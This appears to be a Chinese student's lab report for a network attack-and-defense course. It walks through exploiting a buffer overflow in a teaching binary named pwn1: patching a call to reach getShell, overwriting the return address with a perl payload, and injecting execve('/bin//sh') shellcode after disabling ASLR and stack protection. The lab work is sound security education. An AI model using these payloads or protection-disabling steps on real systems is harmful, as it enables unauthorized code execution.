20222948 2022-2023-2 《网络攻防实践》第9周作业

实践九 软件安全攻防–缓冲区溢出和shellcode

1.实践内容

1.1 缓冲区

缓冲区是内存空间的一部分。也就是说,在内存空间中预留了一定的存储空间,这些存储空间用来缓冲输入或输出的数据,这部分预留的空间就叫做缓冲区。缓冲区根据其对应的是输入设备还是输出设备,分为输入缓冲区和输出缓冲区。
缓冲区 分为三种类型:全缓冲、行缓冲和不带缓冲。

1、全缓冲
在这种情况下,当填满标准I/O缓存后才进行实际I/O操作。全缓冲的典型代表是对磁盘文件的读写。

2、行缓冲
在这种情况下,当在输入和输出中遇到换行符时,执行真正的I/O操作。这时,我们输入的字符先存放在缓冲区,等按下回车键换行时才进行实际的I/O操作。典型代表是键盘输入数据。

3、不带缓冲
也就是不进行缓冲,标准出错情况stderr是典型代表,这使得出错信息可以直接尽快地显示出来。

1.2 缓冲区溢出

缓冲区溢出是一种异常现象,当软件向缓冲区中写入数据使缓冲区容量溢出时,会导致相邻存储器位置被覆盖。换句话说,过量的信息被传递到没有足够空间的容器中,而这些信息最终会替换相邻容器中的数据。
攻击者可以利用缓冲区溢出修改计算机的内存,以破坏或控制程序的执行。
理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患,操作系统所使用的缓冲区,又被称为"堆栈"。在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。
在这里插入图片描述

1.3 shellcode

shellcode是一段用于利用软件漏洞而执行的代码,也可以认为是一段填充数据,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
下面这张图就是shellcode工作流程,从功能上看,shellcode在整个漏洞利用过程中发挥主要作用就是对计算机端的控制。
在这里插入图片描述
Shellcode在漏洞样本中的存在形式一般为一段可以自主运行的汇编倒霉,他不依赖任何编译环境,也不能像在IDE中直接编写代码哪有调用API函数名称来实现更能,他通过主动查到dll基址并动态获取api地址的方式来实现api调用,然后根据实功能调用想用的api函数来完成其自身的功能,shellcode分为两个模块,分别是基本模块和功能模块。
在这里插入图片描述

1.4 反汇编

反汇编(Disassembly)是把目标代码转为汇编代码的过程,也可以说是把机器语言转换为汇编语言代码、低级转高级的意思,常用于软件破解(例如找到它是如何注册的,从而解出它的注册码或者编写注册机)、外挂技术、病毒分析、逆向工程、软件汉化等领域。学习和理解反汇编语言对软件调试、漏洞分析、OS的内核原理及理解高级语言代码都有相当大的帮助,在此过程中我们可以领悟到软件作者的编程思想。总之一句话:软件一切神秘的运行机制全在反汇编代码里面。

反汇编面临的困难
1.编译过程会造成丢失:机器语言中没有变量或函数名,只有通过数据的用途来确定。
2.编译属于多对多操作:源程序可以通过多种不同的方式转换成汇编语言,机器语言也可以通过许多不同的方式转换成源程序。
3.反编译器非常依赖于语言和库
想要准确的反编译一个二进制文件,需要近乎完美的反汇编能力。

1.5 实践内容

本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:
①手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
②利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
③注入一个自己制作的shellcode并运行这段shellcode。

2.实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码;
掌握反汇编与十六进制编程器;
能正确修改机器指令改变程序执行流程;
能正确构造payload进行bof攻击。

2.实践过程

2.1 手工修改可执行文件

1、首先将 kali 虚拟机名称改为:20222948zty:
在这里插入图片描述
将学习通中的pwn1文件复制到kali虚拟机中:
在这里插入图片描述
2.输入指令: objdump -d pwn1 | more ,对pwn1文件进行反汇编操作:
在这里插入图片描述
在命令行的众多信息中可以看到getShell、foo、main等一系列函数:
在这里插入图片描述
main函数中的第四行的call指令,调用foo函数,call指令的机器码是e8。
而08 04 84 91(foo的起始地址)= 08 04 84 ba(main函数中call指令的结束地址)+ff ff ff d7(栈是逆序)
如果现在不调用foo函数,改为调用getShell函数
由于08 04 84 7d - 08 04 84 ba = ff ff ff c3,所以我们只需要把main函数中call指令的目标地址由d7 ff ff ff 改为c3 ff ff ff即可。

3.下面进行具体修改:
首先使用指令: cp pwn1 pwn20222948 对pwn1文件进行保护,防止破坏:
在这里插入图片描述

然后然后用vi编辑器打开拷贝出来的pwn1 pwn20222948,输入指令:vim pwn1 pwn20222948:
在这里插入图片描述
可以看到在上述操作后得到一串乱码,按下esc离开编辑模式,然后键入:%!xxd,切换到16进制模式。
在这里插入图片描述
在这里插入图片描述
接着输入指令::wq 进行保存并退出
输入 ls -l,查看文件权限:
在这里插入图片描述
再次进入pwn20222948文件,进行修改。输入/e8 d7找到要修改内容的位置,根据上述分析,将d7 改为 c3:
在这里插入图片描述
在这里插入图片描述
然后按ESC,输入:%!xxd -r转换为原来的格式:
在这里插入图片描述
在这里插入图片描述

然后按ESC,输入:wq!保存退出:
在这里插入图片描述
接着输入指令:objdump -d pwn20222948 | more进行验证:
发现已经成功修改。
在这里插入图片描述
在这里插入图片描述

2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串

1.可以看到:getShell起始函数地址为0804847d:
在这里插入图片描述
foo函数执行完成之后,main函数下一条指令的地址为80484ba,而main函数调用函数foo会在堆栈上压入返回地址:80484ba,接下来要做的就是通过foo函数的Bof漏洞输入一段设计好的字符串覆盖掉80484ba,使得80484 ba的值为080484 7d,这样就会执行getshell函数。

2.在虚拟机终端输入指令:apt install gdb,安装gdb:
在这里插入图片描述
接着输入命令:gdb pwn1调式程序:
在这里插入图片描述
3.输入r,回车,表示运行这个文件:
在这里插入图片描述
输入一定长字符串:123456123456123456123456123456123456
程序输出该字符串,报错“Segmentation fault”,原因是输入超过28个,程序无法正常退出,产生溢出:
在这里插入图片描述
输入info r查看寄存器eip的值:
0x35353535 表示 5555,发现输入的后几位的“5”覆盖到了堆栈上的返回地址,但不知道是具体哪几位的5被覆盖,所以需要修改字符重新具体定位。然后只要把这四个字符替换为getShell的内存地址,输入给pwn1,pwn1就会运行getShell。
在这里插入图片描述
4.继续调试,输入r:
在这里插入图片描述
再输入1111111122222222333333334444444412345678:
再次查看指令寄存器eip内的值为:0x34333231,表示4321。
由此可知,我们输入的字符串1111111122222222333333334444444412345678中的1234覆盖了返回地址的值,所以接下来我们需要修改1234的值为0x 08 04 84 7d进行覆盖。
在这里插入图片描述
5.对比“eip 0x34333231 0x34333231”,我们的正确输入应为11111111222222223333333344444444\x7d\x84\x04\x08。
由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以可以先生成包括这样字符串的一个文件。

在一个新终端中键入perl -e ‘print “11111111222222223333333344444444\x7d\x84\x04\x08\x0a”’ > input:
在这里插入图片描述
然后输入xxd input:
可以通过xxd查看文件十六进制格式的内容。
在这里插入图片描述
6.然后将input的输入,通过管道符“|”,作为pwn1 pwn20222948的输入,覆盖返回地址。
输入指令(cat input; cat) | ./pwn1:在这里插入图片描述
最后输入 ls 进行测试,发现程序成功调用了getShell函数:
在这里插入图片描述

2.3 注入Shellcode并执行

1、安装execstack:
输入指令:apt-get install execstack:
在这里插入图片描述
2.修改设置:
①终端运行指令: apt-get install execstack:
在这里插入图片描述
②设置堆栈可执行: execstack -s pwn1 :
在这里插入图片描述
③查询文件的堆栈是否可执行:
execstack -q pwn1:
在这里插入图片描述
④查询是否关闭地址随机化:
more /proc/sys/kernel/randomize_va_space:
在这里插入图片描述
⑤关闭地址随机化:
echo “0” > /proc/sys/kernel/randomize_va_space:
在这里插入图片描述
3.输入命令perl -e ‘print “A” x 32;print “\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00”’ > input_20222948进行注入,其中,前32个A是用来填满缓冲区buf,“\x04\x03\x02\x01”是预留的返回地址retaddr:
在这里插入图片描述
然后在该终端运行(cat input_20222948;cat) | ./pwn1注入这段攻击buf:
在这里插入图片描述
打开另一个终端,运行ps -ef | grep pwn,可以看到pwn的进程3230:
在这里插入图片描述
在新终端中用gdb的attach 3230命令启动gdb调试这个进程:
在这里插入图片描述
使用命令:disassemble foo命令反汇编,设置断点查看注入buf的内存地址:
在这里插入图片描述
输入指令:b *0x080484ae命令设置断点,输入“c”命令(continue)继续运行:
在这里插入图片描述
在正在运行的终端敲回车,使其继续执行:
在这里插入图片描述
在这里插入图片描述
再返回调试终端,输入info r esp命令:
查看栈顶指针所在的位置为 0xffff d55c查找地址为0xffffd37c。
在这里插入图片描述
输入x/16x 0xffffd37c命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,x/16x 0xffffd37c+0x00000004=0xFFFFD380,所以地址应为0xFFFFD380。
在这里插入图片描述
接下来只需要将之前的\x4\x3\x2\x1改为这个地址0xffffd380即可,用命令perl -e ‘print “A” x 32;print “\x80\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00”’ > input_20222948:
在这里插入图片描述

再用(cat input_20222948;cat) | ./pwn1命令次执行程序,攻击成功:
在这里插入图片描述

3.学习中遇到的问题及解决

问题1:运行pwn1文件,显示权限不够。
解决:输入指令:sudo chmod 755 pwn1。

4.实践总结

通过本次实验,我学习到了软件安全攻防的基本原理和方法。熟悉了配置安装环境的过程,安装了各种工具。提高了对缓冲区溢出和shellcode的理解,更提高的自我学习的能力,让我受益匪浅。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值